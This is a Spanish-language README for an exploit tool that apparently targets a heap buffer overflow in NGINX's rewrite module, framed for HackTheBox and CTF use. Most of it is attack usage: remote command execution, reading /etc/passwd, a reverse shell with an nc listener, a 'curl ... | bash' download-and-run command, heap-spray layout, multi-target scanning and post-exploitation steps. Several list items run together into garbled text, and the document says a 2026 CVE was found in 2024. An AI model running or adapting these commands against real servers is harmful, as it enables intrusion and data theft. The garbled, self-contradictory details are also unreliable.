
exploit para CVE-2026-42945
Exploit independiente para la vulnerabilidad de desbordamiento de búfer en el heap de NGINX descubierta en 2024. Esta versión está optimizada para entornos de HackTheBox y CTF donde no se pueden configurar contenedores Docker.
CVE-2026-42945 es un desbordamiento de búfer en el heap crítico en el módulo ngx_http_rewrite_module de NGINX que ha existido desde 2008 (versión 0.6.27). El error ocurre cuando:
rewrite contiene ? en el reemplazo (establece is_args = 1)set captura parte de la URIis_args = 0)is_args = 1)# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd
# No additional Python packages needed - uses only stdlib!
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
Esto:
/api/python3 nginx_rift_helper.py --target 10.10.11.x --all
Esto realiza:
Ejecutar un comando:
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
Obtener una reverse shell:
# Iniciar listener primero (en otra terminal)
nc -lvnp 4444
# Ejecutar exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
# Ejecutar comando 'id'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
# Ejecutar 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
# Leer /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Ejecutar exploit
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--shell \
--lhost 10.10.14.5 \
--lport 4444 \
--verbose
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--port 8080 \
--cmd "curl http://10.10.14.5/shell.sh | bash" \
--tries 20 \
--verbose
ngx_pool_cleanup_s falsa/api/ con una URI especialmente manipulada que se desbordará al escaparsesystem() con nuestro comandoEl exploit asume que ASLR está deshabilitado o que conoces las direcciones. En HTB:
Si ASLR está habilitado, es posible que necesites:
La configuración vulnerable requiere:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
/api/, /admin/, /internal/Posibles razones:
ASLR está habilitado - Las direcciones están aleatorizadas
Versión diferente de libc - system() en un offset diferente
--verboseVersión no vulnerable - Versión corregida o configuración diferente
WAF/IDS bloqueando - Controles de seguridad activos
Endpoint incorrecto - No se usa la combinación rewrite+set
Usa siempre --verbose para depuración:
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
Esto muestra:
# Encuentra tu IP tun0
ip addr show tun0 | grep inet
# Usa esta IP para --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost TU_IP_TUN0 --lport 4444
Una vez que obtengas acceso inicial:
# Actualizar a TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Poner en segundo plano y configurar terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Verificar usuario actual
id
whoami
# Buscar flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
# Verificar permisos sudo
sudo -l
# Verificar binarios SUID
find / -perm -4000 2>/dev/null
Si necesitas personalizar el payload:
# Editar la función make_body() en nginx_rift_htb.py
# Ajustar BODY_LEN para diferentes configuraciones
# Modificar la cadena de desbordamiento (349 'A' + 969 '+')
# Crear una lista de objetivos
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25
# Probar cada uno
while read target; do
echo "Probando $target"
python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt
#!/bin/bash
TARGET=$1
LHOST=$2
echo "[*] Iniciando listener..."
nc -lvnp 4444 &
LISTENER_PID=$!
sleep 2
echo "[*] Ejecutando exploit..."
python3 nginx_rift_htb.py \
--target $TARGET \
--shell \
--lhost $LHOST \
--lport 4444 \
--verbose
wait $LISTENER_PID
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Establece is_args=1
set $original_endpoint $1; # Asigna basado en is_args=0
}
1. Spray POST → Llena el heap con estructuras de limpieza falsas
2. GET /api/AAAA...++++...X → Dispara el desbordamiento
3. Desbordamiento corrompe el puntero de limpieza del pool adyacente
4. Pool destruido → Llama a system(cmd)
[Cuerpo de Heap Spray - 4000 bytes]
+0: system_addr (8 bytes)
+8: data_addr (8 bytes)
+16: next (8 bytes, NULL)
+24: command_string (variable)
+restante: padding 'A'
Esta herramienta se proporciona únicamente con fines educativos y pruebas de seguridad autorizadas. Usarla contra sistemas que no posees o para los que no tienes permiso explícito para probar es ilegal. El autor no asume ninguna responsabilidad por el mal uso.
Solo con fines educativos/de investigación. Úsalo de manera responsable.